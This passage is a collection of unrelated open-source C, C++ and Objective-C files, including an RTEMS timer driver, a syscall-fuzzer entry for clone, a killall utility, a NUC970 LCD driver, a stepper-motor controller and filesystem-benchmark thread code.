sgVec3 rot_vertical;
/* static */
tdble SCx2;
tdble Clift[2]; /* front & rear lift due to body not wings */
tdble Cd; /* for aspiration */
} tAero;
typedef struct
{
/* dynamic */
t3Dd forces;
tdble Kx;
tdble Kz;
tdble angle;
tdble efficiency;
/* static */
t3Dd staticPos;
} tWing;
/// Get the maximum possible lift coefficient given a drag coefficient
tdble Max_Cl_given_Cd (tdble Cd);
/// Get the maximum possible lift given a drag coefficient and area
tdble Max_Cl_given_Cd (tdble Cd, tdble A);
/** Get the maximum lift given drag.
*
* The equation
*
* \f[
* F = C/2 \rho u^2 A
* \f]
*
* can be used to calculate \f$F\f$, the exerted force on an object
* with cross-sectional area \f$A\f$, moving at a speed \f$u\f$
* through a fluid of density \f$\rho\f$.
*
* For a plane perpendicular to the direction of motion, \f$C=1\$f.
* In fact, we can seperate it into two components, \f$C_x=1, ~
* C_y=0\f$, if we wish.
*
* The next part is simple. Given a drag, we can calculate a maximum lift
* if we know the cross-sectional area involved.
*
* \arg \c drag
*/
tdble MaximumLiftGivenDrag (tdble drag, tdble A = 1.0);
#endif /* _AERO_H_ */
|
/*
k_os (Konnex Operating-System based on the OSEK/VDX-Standard).
(C) 2007-2012 by Christoph Schueler <github.com/Christoph2,
cpu12.gems@googlemail.com>
All Rights Reserved
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; version 2 of the License.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
s. FLOSS-EXCEPTION.txt
*/
#if !defined(__OS_CTR_H)
#define __OS_CTR_H
#if defined(__cplusplus)
extern "C"
{
#endif /* __cplusplus */
/*
** Global Functions.
*/
#if 0
#if KOS_MEMORY_MAPPING == STD_ON
FUNC(void, OSEK_OS_CODE) OsCtr_InitCounters(void);
#else
void OsCtr_InitCounters(void);
#endif
#endif /* KOS_MEMORY_MAPPING */
#if defined(__cplusplus)
}
#endif /* __cplusplus */
#undef STD_OFF
#undef STD_ON
#endif /* __OS_CTR_H */
|
#ifndef FILEFLAGS_H_
#define FILEFLAGS_H_
#include <fstream>
#include "../common/List.h"
#include "../common/ByteString.h"
#define NUMBER_OF_IDS sizeof(int)
#define ID_NUMBER sizeof(int)
class FileFlags {
private:
string fileName;
List<int> listOfID;
fstream fileFlag;
void saveFile();
void loadListOfIDs();
void emptyList();
public:
FileFlags(string filepath);
bool addID(int id);
List<int>* getListID();
bool removeID(int ID);
virtual ~FileFlags();
};
#endif /* FILEFLAGS_H_ */
|
/*
* COPYRIGHT (c) 1989-1999.
* On-Line Applications Research Corporation (OAR).
*
* The license and distribution terms for this file may be
* found in the file LICENSE in this distribution or at
* http://www.rtems.com/license/LICENSE.
*
* $Id$
*/
#include <rtems.h>
#include <bsp.h>
#include <stdlib.h>
int Ttimer_val;
bool benchmark_timer_find_average_overhead;
extern void timerisr(void);
extern int ClockIsOn(const rtems_raw_irq_connect_data*);
#define TMR0 0xF040
#define TMR1 0xF041
#define TMR2 0xF042
#define TMRCON 0xF043
#define TMRCFG 0xF834
void TimerOn(const rtems_raw_irq_connect_data* used)
{
Ttimer_val = 0; /* clear timer ISR count */
outport_byte ( TMRCON , 0xb0 ); /* select tmr2, stay in mode 0 */
outport_byte ( TMR1 , 0xfa ); /* set to 250 usec interval */
outport_byte ( TMR1 , 0x00 );
outport_byte ( TMRCON , 0x64 ); /* change to mode 2 ( starts timer ) */
/* interrupts ARE enabled */
/* outport_byte( IERA, 0x41 ); enable interrupt */
/*
* enable interrrupt at i8259 level
*/
BSP_irq_enable_at_i8259s(used->idtIndex - BSP_IRQ_VECTOR_BASE);
}
void TimerOff(const rtems_raw_irq_connect_data* used)
{
/*
* disable interrrupt at i8259 level
*/
BSP_irq_disable_at_i8259s(used->idtIndex - BSP_IRQ_VECTOR_BASE);
/* reset timer mode to standard (DOS) value */
}
static rtems_raw_irq_connect_data timer_raw_irq_data = {
BSP_RT_TIMER3 + BSP_IRQ_VECTOR_BASE,
timerisr,
TimerOn,
TimerOff,
ClockIsOn
};
void Timer_exit(void)
{
if (!i386_delete_idt_entry(&timer_raw_irq_data)) {
printk("Timer_exit:Timer raw handler removal failed\n");
rtems_fatal_error_occurred(1);
}
}
void benchmark_timer_initialize(void)
{
static bool First = true;
if (First)
{
First = false;
atexit(Timer_exit); /* Try not to hose the system at exit. */
if (!i386_set_idt_entry (&timer_raw_irq_data)) {
printk("benchmark_timer_initialize: raw handler installation failed\n");
rtems_fatal_error_occurred(1);
}
}
/* wait for ISR to be called at least once */
Ttimer_val = 0;
while (Ttimer_val == 0)
continue;
Ttimer_val = 0;
}
#define AVG_OVERHEAD 3 /* It typically takes 3.0 microseconds */
/* (3 ticks) to start/stop the timer. */
#define LEAST_VALID 4 /* Don't trust a value lower than this */
int benchmark_timer_read(void)
{
register uint32_t clicks;
register uint32_t total;
/* outport_byte( TBCR, 0x00 ); stop the timer -- not needed on intel */
outport_byte ( TMRCON, 0x40 ); /* latch the count */
inport_byte ( TMR1, clicks ); /* read the count */
total = Ttimer_val + 250 - clicks;
/* outport_byte( TBCR, 0x00 ); initial value */
/* outport_byte( IERA, 0x40 ); disable interrupt */
/* ??? Is "do not restore old vector" causing problems? */
if ( benchmark_timer_find_average_overhead == true )
return total; /* in one microsecond units */
else {
if ( total < LEAST_VALID )
return 0; /* below timer resolution */
return (total - AVG_OVERHEAD);
}
}
void benchmark_timer_disable_subtracting_average_overhead(
bool find_flag
)
{
benchmark_timer_find_average_overhead = find_flag;
}
|
/*
* long sys_clone(unsigned long clone_flags, unsigned long newsp,
void __user *parent_tid, void __user *child_tid, struct pt_regs *regs)
* On success, the thread ID of the child process is returned in the caller's thread of execution.
* On failure, -1 is returned in the caller's context, no child process will be created, and errno will be set appropriately.
*/
#include <linux/sched.h>
#include "sanitise.h"
//fix missing def in case... androdi 19
#ifndef CLONE_NEWUTS
#define CLONE_NEWUTS 0x04000000
#define CLONE_NEWIPC 0x08000000
#define CLONE_NEWUSER 0x10000000
#define CLONE_NEWPID 0x20000000
#define CLONE_NEWNET 0x40000000
#define CLONE_IO 0x80000000
#endif
struct syscallentry syscall_clone = {
.name = "clone",
.num_args = 5,
.flags = AVOID_SYSCALL,
.arg1name = "clone_flags",
.arg1type = ARG_LIST,
.arg1list = {
.num = 23,
.values = { CSIGNAL,
CLONE_VM, CLONE_FS, CLONE_FILES, CLONE_SIGHAND,
CLONE_PTRACE, CLONE_VFORK, CLONE_PARENT, CLONE_THREAD,
CLONE_NEWNS, CLONE_SYSVSEM, CLONE_SETTLS, CLONE_PARENT_SETTID,
CLONE_CHILD_CLEARTID, CLONE_DETACHED, CLONE_UNTRACED, CLONE_CHILD_SETTID,
CLONE_NEWUTS, CLONE_NEWIPC, CLONE_NEWUSER, CLONE_NEWPID,
CLONE_NEWNET, CLONE_IO },
},
.arg2name = "newsp",
.arg2type = ARG_ADDRESS,
.arg3name = "parent_tid",
.arg3type = ARG_ADDRESS,
.arg4name = "child_tid",
.arg4type = ARG_ADDRESS,
.arg5name = "regs",
.arg5type = ARG_ADDRESS,
.rettype = RET_PID_T,
};
#ifdef __ia64__
/*
* sys_clone2(u64 flags, u64 ustack_base, u64 ustack_size, u64 parent_tidptr, u64 child_tidptr, u64 tls)
*
* On success, the thread ID of the child process is returned in the caller's thread of execution.
* On failure, -1 is returned in the caller's context, no child process will be created, and errno will be set appropriately.
*/
struct syscallentry syscall_clone2 = {
.name = "clone",
.num_args = 6,
.flags = AVOID_SYSCALL,
.arg1name = "flags",
.arg1type = ARG_LIST,
.arg1list = {
.num = 23,
.values = { CSIGNAL,
CLONE_VM, CLONE_FS, CLONE_FILES, CLONE_SIGHAND,
CLONE_PTRACE, CLONE_VFORK, CLONE_PARENT, CLONE_THREAD,
CLONE_NEWNS, CLONE_SYSVSEM, CLONE_SETTLS, CLONE_PARENT_SETTID,
CLONE_CHILD_CLEARTID, CLONE_DETACHED, CLONE_UNTRACED, CLONE_CHILD_SETTID,
CLONE_NEWUTS, CLONE_NEWIPC, CLONE_NEWUSER, CLONE_NEWPID,
CLONE_NEWNET, CLONE_IO },
},
.arg2name = "ustack_base",
.arg2type = ARG_ADDRESS,
.arg3name = "ustack_size",
.arg3type = ARG_LEN,
.arg4name = "parent_tidptr",
.arg4type = ARG_ADDRESS,
.arg5name = "child_tidptr",
.arg5type = ARG_ADDRESS,
.arg6name = "tls",
.arg6type = ARG_ADDRESS,
.rettype = RET_PID_T,
};
#endif
|
/*
* SYS5 style killall
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <proc.h>
#include <fcntl.h>
static pid_t pid, ppid;
static struct p_tab_buffer buf;
static void writes(int fd, const char *p)
{
write(fd, p, strlen(p));
}
static int kill_pids(int sig)
{
int fd = open("/dev/proc", O_RDONLY);
int nodesize;
int procs;
int ct = 0;
int i;
if (fd == -1) {
perror("/dev/proc");
return 255;
}
if (ioctl(fd, 2, (char *)&nodesize) != 0) {
perror("ioctl");
return 255;
}
if (nodesize > sizeof(buf)) {
writes(2, "kilall: mismatch with kernel.\n");
exit(1);
}
if (ioctl(fd, 1, (char *)&procs) != 0) {
perror("ioctl");
return 255;
}
for (i = 0; i < procs; i++) {
if (read(fd, (char *)&buf, nodesize) != nodesize) {
perror("read");
return 255;
}
if (buf.p_tab.p_pid != ppid && buf.p_tab.p_pid != pid && buf.p_tab.p_pid != 1) {
kill(buf.p_tab.p_pid, sig);
ct++;
}
}
close(fd);
return ct;
}
int main(int argc, char *argv[])
{
int sig = SIGTERM;
if (argc == 2)
sig = atoi(argv[1]);
else if (argc > 2) {
writes(1, "killall [signal]\n");
exit(1);
}
pid = getpid();
ppid = getppid();
return kill_pids(sig);
}
|
/*
* Drivedist algorithm for PostgreSQL
*
* Copyright (c) 2005 Sylvain Pasche
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*
*/
#ifndef _DRIVEDIST_H
#define _DRIVEDIST_H
#ifdef _MSC_VER
#define ELOG_H
#endif // _MSC_VER
#include "postgres.h"
#include "dijkstra.h"
#ifdef __cplusplus
extern "C"
{
#endif
int boost_dijkstra_dist(edge_t *edges, unsigned int count,
int source_vertex_id, double rdistance,
bool directed, bool has_reverse_cost,
path_element_t **path, int *path_count, char **err_msg);
#ifdef _MSC_VER
void pgr_dbg(const char* format, ...);
#endif // _MSC_VER
#ifdef __cplusplus
}
#endif
#endif // _DRIVEDIST_H |
/*
* Copyright (C) 2004 Red Hat, Inc. All rights reserved.
*
* This file is part of LVM2.
*
* This copyrighted material is made available to anyone wishing to use,
* modify, copy, or redistribute it subject to the terms and conditions
* of the GNU General Public License v.2.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#ifndef _LVM_FILTER_SYSFS_H
#define _LVM_FILTER_SYSFS_H
#include "config.h"
#include "dev-cache.h"
struct dev_filter *sysfs_filter_create(const char *proc);
#endif
|
/*
* Copyright (c) 2014 Nuvoton Technology Corp.
*
* See file CREDITS for list of people who contributed to this
* project.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
* Description: NUC970 Video driver source file
*/
#include <common.h>
#include <asm/io.h>
#include <lcd.h>
#include "nuc970_fb.h"
#define REG_AHBIPRST 0xB0000060
#define REG_HCLKEN 0xB0000210
#define REG_CLKDIVCTL0 0xB0000220
#define REG_CLKDIVCTL1 0xB0000224
#define REG_CLKUPLLCON 0xB0000264
#define REG_MFP_GPA_L 0xB0000070
#define REG_MFP_GPA_H 0xB0000074
#define REG_MFP_GPD_H 0xB000008C
#define REG_MFP_GPG_L 0xB00000A0
#define REG_MFP_GPG_H 0xB00000A4
vpost_cfg_t vpost_cfg = {
.clk = 3000000,
.hight = 480,
.width = 800,
.left_margin = 4,
.right_margin = 12,
.hsync_len = 2,
.upper_margin = 2,
.lower_margin = 2,
.vsync_len = 1,
.dccs = 0x0e00040a,//0x0e00041a,
#ifdef CONFIG_NUC970_LCD
.devctl = 0x070000C0,
#else
.devctl = 0x050000C0,
#endif
.fbctrl = 0x01900190,//0x03200320,
.scale = 0x04000400,
};
vidinfo_t panel_info = {
.vl_col = 800,
.vl_row = 480,
.vl_bpix = 4, // 2^5 = 32bpp
};
//int lcd_line_length;
int lcd_color_fg;
int lcd_color_bg;
void *lcd_base; /* Start of framebuffer memory */
void *lcd_console_address; /* Start of console buffer */
short console_col;
short console_row;
void lcd_enable(void)
{
// Turn on back light
writel(readl(REG_GPIOG_DOUT) | (1 << 2), REG_GPIOG_DOUT);
return;
}
void lcd_disable(void)
{
// Turn off back light
writel(readl(REG_GPIOG_DOUT) & ~(1 << 2), REG_GPIOG_DOUT);
return;
}
void lcd_ctrl_init(void *lcdbase)
{
writel((readl(REG_AHBIPRST) | (1 << 9)), REG_AHBIPRST);
writel((readl(REG_AHBIPRST) & ~(1 << 9)), REG_AHBIPRST);
// VPOST clk
writel(readl(REG_HCLKEN) | 0x02000000, REG_HCLKEN); // LCD
writel((readl(REG_CLKDIVCTL1) & ~0xffff) | 0xe18, REG_CLKDIVCTL1); // Set VPOST clock source from UCLKOUT
//GPG6 (CLK), GPG7 (HSYNC)
writel((readl(REG_MFP_GPG_L) & ~0xFF000000) | 0x22000000, REG_MFP_GPG_L); // LCD_CLK LCD_HSYNC
//GPG8 (VSYNC), GPG9 (DEN)
writel((readl(REG_MFP_GPG_H) & ~0xFF) | 0x22, REG_MFP_GPG_H); // LCD_VSYNC LCD_DEN
// GPIO
writel(0x22222222, REG_MFP_GPA_L); // LCD_DATA0~7
writel(0x22222222, REG_MFP_GPA_H); // LCD_DATA8~15
writel(0x22222222, REG_MFP_GPD_H); // LCD_DATA16~23
writel(readl(REG_GPIOG_DIR) | (1 << 2), REG_GPIOG_DIR);
writel(readl(REG_GPIOG_DOUT) | (1 << 2), REG_GPIOG_DOUT);
//LCD register
writel(vpost_cfg.devctl, REG_LCM_DEV_CTRL); //1677721 color, 24bit
writel(0x00000000, REG_LCM_MPU_CMD);
writel(0x80000001, REG_LCM_INT_CS);
writel(0x020d03a0, REG_LCM_CRTC_SIZE); //800*480
writel(0x01e00320, REG_LCM_CRTC_DEND);
writel(0x03250321, REG_LCM_CRTC_HR);
writel(0x03780348, REG_LCM_CRTC_HSYNC);
writel(0x01f001ed, REG_LCM_CRTC_VR);
writel((unsigned int)lcdbase, REG_LCM_VA_BADDR0);
writel(vpost_cfg.fbctrl, REG_LCM_VA_FBCTRL);
writel(vpost_cfg.scale, REG_LCM_VA_SCALE);
writel(0x000107FF, REG_LCM_VA_WIN);
writel(vpost_cfg.dccs, REG_LCM_DCCS); //enable vpost, rgb565
return;
}
void lcd_getcolreg (ushort regno, ushort *red, ushort *green, ushort *blue)
{
return;
}
#ifdef CONFIG_LCD_INFO
#include <version.h>
void lcd_show_board_info(void)
{
lcd_printf ("%s\n", U_BOOT_VERSION);
lcd_printf ("(C) 2014 Nuvoton Technology Corp.\n");
lcd_printf ("NUC970 Evaluation Board\n");
}
#endif /* CONFIG_LCD_INFO */
|
//
// CriticViewController.h
// shige-yingping(2)
//
// Created by qianfeng on 15-6-5.
// Copyright (c) 2015年 qianfeng. All rights reserved.
//
#import "baseViewController.h"
@interface CriticViewController : baseViewController
@end
|
/* -*- mode: c -*- */
/* $Id: control.c 5682 2010-01-19 10:03:27Z cher $ */
/* Copyright (C) 2006 Alexander Chernov <cher@ejudge.ru> */
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#include "super_clnt.h"
#include "super_proto.h"
#include <stdlib.h>
#include <unistd.h>
static int
silent_recv_packet(int sock_fd, struct prot_super_packet *p_res)
{
unsigned char *b, *bb;
int in_size, r, n, code = -SSERV_UNKNOWN_ERROR;
struct prot_super_packet *pkt;
if (sock_fd < 0) return -SSERV_ERR_NOT_CONNECTED;
// read packet length
b = (unsigned char*) &in_size;
r = 4;
while (r > 0) {
if ((n = read(sock_fd, b, r)) < 0) {
code = -SSERV_ERR_READ_FROM_SERVER;
goto failed;
}
if (!n) {
code = -SSERV_ERR_EOF_FROM_SERVER;
goto failed;
}
r -= n; b += n;
}
if (p_res) {
if (in_size != sizeof(*p_res)) {
code = -SSERV_ERR_PROTOCOL_ERROR;
goto failed;
}
bb = b = (unsigned char*) p_res;
r = in_size;
}
while (r > 0) {
if ((n = read(sock_fd, b, r)) < 0) {
code = -SSERV_ERR_READ_FROM_SERVER;
goto failed;
}
if (!n) {
code = -SSERV_ERR_EOF_FROM_SERVER;
goto failed;
}
r -= n; b += n;
}
pkt = (struct prot_super_packet*) bb;
if (pkt->magic != PROT_SUPER_PACKET_MAGIC) {
code = -SSERV_ERR_PROTOCOL_ERROR;
goto failed;
}
return 0;
failed:
return code;
}
int
super_clnt_control(int sock_fd, int cmd)
{
struct prot_super_packet *out = 0;
struct prot_super_packet *in = 0;
size_t out_size;
int r;
if (sock_fd < 0) return -SSERV_ERR_NOT_CONNECTED;
out_size = sizeof(*out);
out = alloca(out_size);
memset(out, 0, out_size);
out->id = cmd;
out->magic = PROT_SUPER_PACKET_MAGIC;
in = (struct prot_super_packet*) alloca(sizeof(*in));
memset(in, 0, sizeof(*in));
if ((r = super_clnt_send_packet(sock_fd, out_size, out)) < 0) return r;
r = silent_recv_packet(sock_fd, in);
if (r == -SSERV_ERR_EOF_FROM_SERVER) return 0;
if (r < 0) return r;
if (in->id >= 0) {
return -SSERV_ERR_PROTOCOL_ERROR;
}
return in->id;
}
/*
* Local variables:
* compile-command: "make -C .."
* c-font-lock-extra-types: ("\\sw+_t" "FILE")
* End:
*/
|
#include <hidef.h> /* for EnableInterrupts macro */
#include "MC9S08QG8.h"
#include "derivative.h" /* include peripheral declarations */
#include "MCUinit.h"
#define S0 0
#define S1 1
#define S2 2
#define S3 3
#define ON 1
#define OFF 0
#define CW 1
#define CCW 0
#define COUNT 2
int stepState;
int motorDirection;
int motorStatus;
int *pStatus = &motorStatus;
unsigned char tSpeed;
unsigned char motorSpeed;
unsigned char count;
void stepMotor(void);
void main(void) {
ICSTRM = *(unsigned char*far)0xFFBE; /* Copy Factory Trim value */
MCU_init();
SCI_init();
motorStatus = ON;
motorSpeed = 0x11;
motorDirection = CCW;
stepState = S0;
count = COUNT;
for(;;) {
__RESET_WATCHDOG();
motorStatus = getMotorStatus();
motorDirection = getMotorDirection();
motorSpeed = getMotorSpeed();
stepMotor();
}
}
void stepMotor(void)
{
if (!(motorSpeed == tSpeed)){
MTIMMOD = motorSpeed;
tSpeed = motorSpeed;
}
switch (stepState){
case S0:
/*Output: 1100*/
if (motorStatus) PTAD = 0x08;
else PTAD = 0x00;
if (MTIMSC_TOF){
MTIMSC_TRST = 1;
count--;
}
if (count == 0){
stepState = (motorDirection) ? S3 : S1;
count = COUNT;
}
break;
case S1:
/*Output: 0110*/
if (motorStatus) PTAD = 0x04;
else PTAD = 0x00;
if (MTIMSC_TOF){
MTIMSC_TRST = 1;
count--;
}
if (count == 0){
stepState = (motorDirection) ? S0 : S2;
count = COUNT;
}
break;
case S2:
/*Output: 0011*/
if (motorStatus) PTAD = 0x02;
else PTAD = 0x00;
if (MTIMSC_TOF){
MTIMSC_TRST = 1;
count--;
}
if (count == 0){
stepState = (motorDirection) ? S1 : S3;
count = COUNT;
}
break;
case S3:
/*Output: 1001*/
if (motorStatus) PTAD = 0x01;
else PTAD = 0x00;
if (MTIMSC_TOF){
MTIMSC_TRST = 1;
count--;
}
if (count == 0){
stepState = (motorDirection) ? S2 : S0;
count = COUNT;
}
break;
default:
stepState = S0;
break;
}
}
|
/*
* file: utils.h
* auth: cjfeii@126.com
* date: Aug 8, 2014
* desc: utils.
*/
#pragma once
//#define GET_NEED_COUNT(idx, div) ( (idx) / (div) + ( (idx) % (div) >= 1 )? 1 : 0 ) --> it's error, this result allway is 0 or 1
#define GET_NEED_COUNT(idx, div) ( (idx) / (div) + ( ((idx) % (div) >= 1 )? 1 : 0) )
#define MIN(x, y) ( ((x)<=(y))?(x):(y) )
#define MAX(x, y) ( ((x)>=(y))?(x):(y) )
//#ifdef USE_MUTEX
//#define X_NEW_LOCK pthread_mutex_t
//#define X_LOCK_INIT( lock ) pthread_mutex_init( (lock), NULL)
//#define X_LOCK( lock ) pthread_mutex_lock( (lock) )
//#define X_UNLOCK( lock ) pthread_mutex_unlock( (lock) )
//#else
//#define X_NEW_LOCK pthread_spinlock_t
//#define X_LOCK_INIT( lock ) pthread_spin_init( (lock), 0)
//#define X_LOCK( lock ) pthread_spin_lock( (lock) )
//#define X_UNLOCK( lock ) pthread_spin_unlock( (lock) )
//#endif
#define ONE_DAY_TIMESTAMP (24*60*60)
extern void open_new_log(void);
extern void close_old_log(void);
extern void check_pid_file(void);
extern void write_pid_file(void);
extern void remove_pid_file(void);
char *x_strdup(const char *src);
int get_overplus_time(void);
int get_current_time(void);
/*
* Regular string match for specified length.
*/
int string_match_len(const char *pattern, int patternLen, const char *string, int stringLen, int nocase);
/*
* Regular string match.
*/
int string_match(const char *pattern, const char *string, int nocase);
/*
* Prefix match.
*/
int prefix_match_len(const char *pre, int preLen, const char *string, int stringLen);
|
/* ----------------------------------------------------------------------- *
*
* Copyright 1999-2008 H. Peter Anvin - All Rights Reserved
*
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use,
* copy, modify, merge, publish, distribute, sublicense, and/or
* sell copies of the Software, and to permit persons to whom
* the Software is furnished to do so, subject to the following
* conditions:
*
* The above copyright notice and this permission notice shall
* be included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*
* ----------------------------------------------------------------------- */
#ifndef LIB_SYS_VESA_H
#define LIB_SYS_VESA_H
#include <inttypes.h>
#include <com32.h>
/* VESA General Information table */
struct vesa_general_info {
uint32_t signature; /* Magic number = "VESA" */
uint16_t version;
far_ptr_t vendor_string;
uint8_t capabilities[4];
far_ptr_t video_mode_ptr;
uint16_t total_memory;
uint16_t oem_software_rev;
far_ptr_t oem_vendor_name_ptr;
far_ptr_t oem_product_name_ptr;
far_ptr_t oem_product_rev_ptr;
uint8_t reserved[222];
uint8_t oem_data[256];
} __attribute__((packed));
#define VESA_MAGIC ('V' + ('E' << 8) + ('S' << 16) + ('A' << 24))
#define VBE2_MAGIC ('V' + ('B' << 8) + ('E' << 16) + ('2' << 24))
struct vesa_mode_info {
uint16_t mode_attr;
uint8_t win_attr[2];
uint16_t win_grain;
uint16_t win_size;
uint16_t win_seg[2];
far_ptr_t win_scheme;
uint16_t logical_scan;
uint16_t h_res;
uint16_t v_res;
uint8_t char_width;
uint8_t char_height;
uint8_t memory_planes;
uint8_t bpp;
uint8_t banks;
uint8_t memory_layout;
uint8_t bank_size;
uint8_t image_pages;
uint8_t page_function;
uint8_t rmask;
uint8_t rpos;
uint8_t gmask;
uint8_t gpos;
uint8_t bmask;
uint8_t bpos;
uint8_t resv_mask;
uint8_t resv_pos;
uint8_t dcm_info;
uint8_t *lfb_ptr; /* Linear frame buffer address */
uint8_t *offscreen_ptr; /* Offscreen memory address */
uint16_t offscreen_size;
uint8_t reserved[206];
} __attribute__((packed));
struct vesa_info {
struct vesa_general_info gi;
struct vesa_mode_info mi;
};
extern struct vesa_info __vesa_info;
#if 0
static inline void vesa_debug(uint32_t color, int pos)
{
uint32_t *stp = (uint32_t *)__vesa_info.mi.lfb_ptr;
stp[pos*3] = color;
}
#else
static inline void vesa_debug(uint32_t color, int pos)
{
(void)color; (void)pos;
}
#endif
#endif /* LIB_SYS_VESA_H */
|
/*
* Copyright (c) International Business Machines Corp., 2001-2004
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
* the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include "ffsb_tg.h"
#include "ffsb_thread.h"
#include "ffsb_op.h"
#include "util.h"
void init_ffsb_thread(ffsb_thread_t *ft, struct ffsb_tg *tg, unsigned bufsize,
unsigned tg_num, unsigned thread_num)
{
memset(ft, 0, sizeof(ffsb_thread_t));
ft->tg = tg;
ft->tg_num = tg_num;
ft->thread_num = thread_num;
if (bufsize)
ft_alter_bufsize(ft, bufsize);
init_random(&ft->rd, MAX_RANDBUF_SIZE);
}
void destroy_ffsb_thread(ffsb_thread_t *ft)
{
free(ft->mallocbuf);
destroy_random(&ft->rd);
if (ft->fsd.config)
ffsb_statsd_destroy(&ft->fsd);
}
void ft_set_statsc(ffsb_thread_t *ft, ffsb_statsc_t *fsc)
{
ffsb_statsd_init(&ft->fsd, fsc);
}
void *ft_run(void *data)
{
ffsb_thread_t *ft = (ffsb_thread_t *)data;
tg_op_params_t params;
unsigned wait_time = tg_get_waittime(ft->tg);
int stopval = tg_get_stopval(ft->tg);
ffsb_barrier_wait(tg_get_start_barrier(ft->tg));
while (tg_get_flagval(ft->tg) != stopval) {
tg_get_op(ft->tg, &ft->rd, ¶ms);
do_op(ft, params.fs, params.opnum);
ffsb_milli_sleep(wait_time);
}
return NULL;
}
void ft_alter_bufsize(ffsb_thread_t *ft, unsigned bufsize)
{
if (ft->mallocbuf != NULL)
free(ft->mallocbuf);
ft->mallocbuf = ffsb_malloc(bufsize + 4096);
ft->alignedbuf = ffsb_align_4k(ft->mallocbuf + (4096 - 1));
}
char *ft_getbuf(ffsb_thread_t *ft)
{
return ft->alignedbuf;
}
int ft_get_read_random(ffsb_thread_t *ft)
{
return tg_get_read_random(ft->tg);
}
uint32_t ft_get_read_size(ffsb_thread_t *ft)
{
return tg_get_read_size(ft->tg);
}
uint32_t ft_get_read_blocksize(ffsb_thread_t *ft)
{
return tg_get_read_blocksize(ft->tg);
}
int ft_get_write_random(ffsb_thread_t *ft)
{
return tg_get_write_random(ft->tg);
}
uint32_t ft_get_write_size(ffsb_thread_t *ft)
{
return tg_get_write_size(ft->tg);
}
uint32_t ft_get_write_blocksize(ffsb_thread_t *ft)
{
return tg_get_write_blocksize(ft->tg);
}
int ft_get_fsync_file(ffsb_thread_t *ft)
{
return tg_get_fsync_file(ft->tg);
}
randdata_t *ft_get_randdata(ffsb_thread_t *ft)
{
return &ft->rd;
}
void ft_incr_op(ffsb_thread_t *ft, unsigned opnum, unsigned increment, uint64_t bytes)
{
ft->results.ops[opnum] += increment;
ft->results.op_weight[opnum]++;
ft->results.bytes[opnum] += bytes;
}
void ft_add_readbytes(ffsb_thread_t *ft, uint32_t bytes)
{
ft->results.read_bytes += bytes;
}
void ft_add_writebytes(ffsb_thread_t *ft, uint32_t bytes)
{
ft->results.write_bytes += bytes;
}
ffsb_op_results_t *ft_get_results(ffsb_thread_t *ft)
{
return &ft->results;
}
int ft_get_read_skip(ffsb_thread_t *ft)
{
return tg_get_read_skip(ft->tg);
}
uint32_t ft_get_read_skipsize(ffsb_thread_t *ft)
{
return tg_get_read_skipsize(ft->tg);
}
int ft_needs_stats(ffsb_thread_t *ft, syscall_t sys)
{
int ret = 0;
if (ft && ft->fsd.config && !fsc_ignore_sys(ft->fsd.config, sys))
ret = 1;
return ret;
}
void ft_add_stat(ffsb_thread_t *ft, syscall_t sys, uint32_t val)
{
if (ft)
ffsb_add_data(&ft->fsd, sys, val);
}
ffsb_statsd_t *ft_get_stats_data(ffsb_thread_t *ft)
{
return &ft->fsd;
} |
/*
* Copyright (c) 1983, 1993
